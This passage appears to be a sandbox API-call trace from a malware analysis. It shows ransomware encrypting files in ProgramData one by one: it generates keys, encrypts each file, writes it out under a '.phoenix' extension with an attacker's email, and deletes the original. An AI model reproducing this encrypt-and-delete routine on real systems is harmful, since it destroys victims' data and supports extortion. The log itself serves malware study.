	[0249.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\welcomescan.jpg")) returned 0x20
	[0249.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\welcomescan.jpg.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.696] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\programdata\\microsoft\\windows nt\\msscan\\welcomescan.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0249.697] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0249.697] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.697] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4096) returned 1
	[0249.697] CloseHandle (hObject=0x2d8) returned 1
	[0249.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.698] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.698] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.698] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.698] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0249.698] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0249.699] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.699] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1000, lpOverlapped=0x0) returned 1
	[0249.715] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010, dwBufLen=0x1010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010) returned 1
	[0249.715] WriteFile (in: hFile=0x2d4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1010, lpOverlapped=0x0) returned 1
	[0249.717] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151240) returned 1
	[0249.717] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.717] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0249.717] CryptDestroyKey (hKey=0x151240) returned 1
	[0249.717] WriteFile (in: hFile=0x2d4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0249.717] CryptDestroyKey (hKey=0x151080) returned 1
	[0249.717] CloseHandle (hObject=0x2d8) returned 1
	[0249.717] CloseHandle (hObject=0x2d4) returned 1
	[0249.717] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-01132018-085021-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.718] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0249.718] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0249.719] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4096) returned 1
	[0249.719] CloseHandle (hObject=0x2d4) returned 1
	[0249.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.719] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0249.719] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.719] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.719] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0249.720] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0249.720] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.720] ReadFile (in: hFile=0x2d4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1000, lpOverlapped=0x0) returned 1
	[0249.783] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010, dwBufLen=0x1010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010) returned 1
	[0249.783] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1010, lpOverlapped=0x0) returned 1
	[0249.784] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0249.784] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.784] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0249.784] CryptDestroyKey (hKey=0x151780) returned 1
	[0249.784] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0249.784] CryptDestroyKey (hKey=0x151440) returned 1
	[0249.784] CloseHandle (hObject=0x2d4) returned 1
	[0249.784] CloseHandle (hObject=0x2d8) returned 1
	[0249.784] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02062018-155840-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.785] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0249.785] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.789] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4096) returned 1
	[0249.789] CloseHandle (hObject=0x2b4) returned 1
	[0249.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.790] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.790] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0249.826] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0249.826] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.826] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1000, lpOverlapped=0x0) returned 1
	[0249.854] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010, dwBufLen=0x1010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010) returned 1
	[0249.854] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1010, lpOverlapped=0x0) returned 1
	[0249.856] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151780) returned 1
	[0249.856] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.856] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0249.856] CryptDestroyKey (hKey=0x151780) returned 1
	[0249.856] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0249.856] CryptDestroyKey (hKey=0x151440) returned 1
	[0249.856] CloseHandle (hObject=0x2b4) returned 1
	[0249.856] CloseHandle (hObject=0x2c4) returned 1
	[0249.856] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.858] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0249.858] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.860] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4096) returned 1
	[0249.860] CloseHandle (hObject=0x2b4) returned 1
	[0249.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.861] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.861] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.861] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.861] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0249.863] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0249.863] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.863] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1000, lpOverlapped=0x0) returned 1
	[0249.880] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010, dwBufLen=0x1010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010) returned 1
	[0249.880] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1010, lpOverlapped=0x0) returned 1
	[0249.881] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0249.881] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.881] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0, dwBufLen=0xb0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xb0) returned 1
	[0249.881] CryptDestroyKey (hKey=0x151040) returned 1
	[0249.881] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x162, lpOverlapped=0x0) returned 1
	[0249.881] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0249.881] CloseHandle (hObject=0x2b4) returned 1
	[0249.881] CloseHandle (hObject=0x2e8) returned 1
	[0249.881] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0249.892] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0249.892] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.895] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4096) returned 1
	[0249.895] CloseHandle (hObject=0x2b4) returned 1
	[0249.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0249.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0249.896] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0249.896] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.896] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0249.896] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0249.898] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0249.898] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0249.898] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1000, lpOverlapped=0x0) returned 1
	[0249.956] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010, dwBufLen=0x1010 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1010) returned 1
	[0249.956] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1010, lpOverlapped=0x0) returned 1
	[0249.957] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151440) returned 1
	[0249.957] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
